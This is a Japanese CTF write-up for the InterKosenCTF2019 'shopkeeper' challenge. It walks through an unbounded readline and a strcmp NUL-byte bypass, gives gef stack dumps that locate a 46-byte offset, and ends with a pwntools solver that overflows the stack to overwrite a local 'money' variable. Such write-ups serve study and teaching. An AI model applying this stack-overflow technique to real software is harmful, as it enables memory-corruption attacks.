方針

shop関数内にあるmoneyという変数をStack Overflowによって書き換えて、 十分なmoneyを手にして、Hopesを買う方法を取ります。

脆弱性を探す旅🐈

一つの脆弱性は、readline関数で無限に入力できることです。

void readline(char *buf)
{
  char *ptr;

  for(ptr = buf; ; ++ptr) { // Vulnerable here 
    if (read(0, ptr, 1) == 0) break;
    if (*ptr == '\n') {
      *ptr = 0x00;
      break;
    }
  }
}

もう一つは、文字列比較でstrcmp関数を使っていることです。

void shop(item_t *inventory)
{
  char buf[LEN_NAME];
  item_t *p, *t;
  int money = 100;

また、shop関数の中で、moneyがローカル変数として定義されているので、 書き換えることができる場所を探します。

strcmp関数は'\0'から比較しない

shop関数の中で呼ばれているpurchase関数では、 文字列比較に、strcmp関数が使われていますが、 マニュアルを見ると、次のように書かれています。

strncmp() is designed for comparing strings rather than binary data,
characters that appear after a `\0' character are not compared.

この話は有名で、'\0'(NULL文字)のあとの文字列は比較しません。

変数をStack Overflowによって書き換え

ソースコードでは、money = 100で定義されています。 100 = 0x64なので、money(100)の部分は、64と表示されます。

スタックを見ると、0x7fffffffe4e0に0x64があります。

gef➤  x/20xg $rsp
0x7fffffffe4a0: 0x00007fffffffe4e0      0x00007fffffffe500
0x7fffffffe4b0: 0x0000007365706f48      0x00005555554009f5
0x7fffffffe4c0: 0x0000001900000000      0x0000555555401024
0x7fffffffe4d0: 0x00007fffffffe4f0      0x0000555555401041
0x7fffffffe4e0: 0x00000064ffffe4f0      0x0000000000000000 //←here
0x7fffffffe4f0: 0x00007fffffffe540      0x0000555555400e23

この64を書き換えたいので、入力からのオフセットを調べます。 またNULL文字を置くと、その先は比較されないので、BOFを起こすことが可能です。

キーボードから NULL文字を打つ方法はCTRL+@ です。

gef➤  r
Starting program: /ctf/yu1hpa/InterKosenCTF2019-challenges-public/shopkeeper/distfiles/chall
* Hello, traveller.
* What would you like to buy?
 $25 - Cinnamon Bun
 $15 - Biscle
 $50 - Manly Bandanna
 $50 - Tough Glove
 $9999 - Hopes
> Hopes^@AAAAAAAABBBBBBBBCCCCCCCCDDDDDDDD

Breakpoint 1, 0x0000555555400d0f in shop ()
    (中略)
    
gef➤  x/20xg $rsp
0x7fffffffe4a0: 0x00007fffffffe4e0      0x00007fffffffe500
0x7fffffffe4b0: 0x4141007365706f48      0x4242414141414141
0x7fffffffe4c0: 0x4343424242424242      0x4444434343434343
0x7fffffffe4d0: 0x0000444444444444      0x0000555555401041
0x7fffffffe4e0: 0x00000064ffffe4f0      0x0000000000000000
0x7fffffffe4f0: 0x00007fffffffe540      0x0000555555400e23

64までのOFFSETを数えると、46(0x2e)です。 あとは、適当な文字列で書き換えると、 たくさんのmoneyが手に入るので、Hopesを買うことができます。

Solver

from pwn import *

file = "./chall"
e = ELF(file)
context(os = 'linux', arch = 'amd64')
context.log_level = 'debug'

io = process(file)
io.sendlineafter("> ", b"Hopes\x00"+b"A"*0x2e+b"MONEY")
io.sendlineafter("> ", "Y")

io.interactive()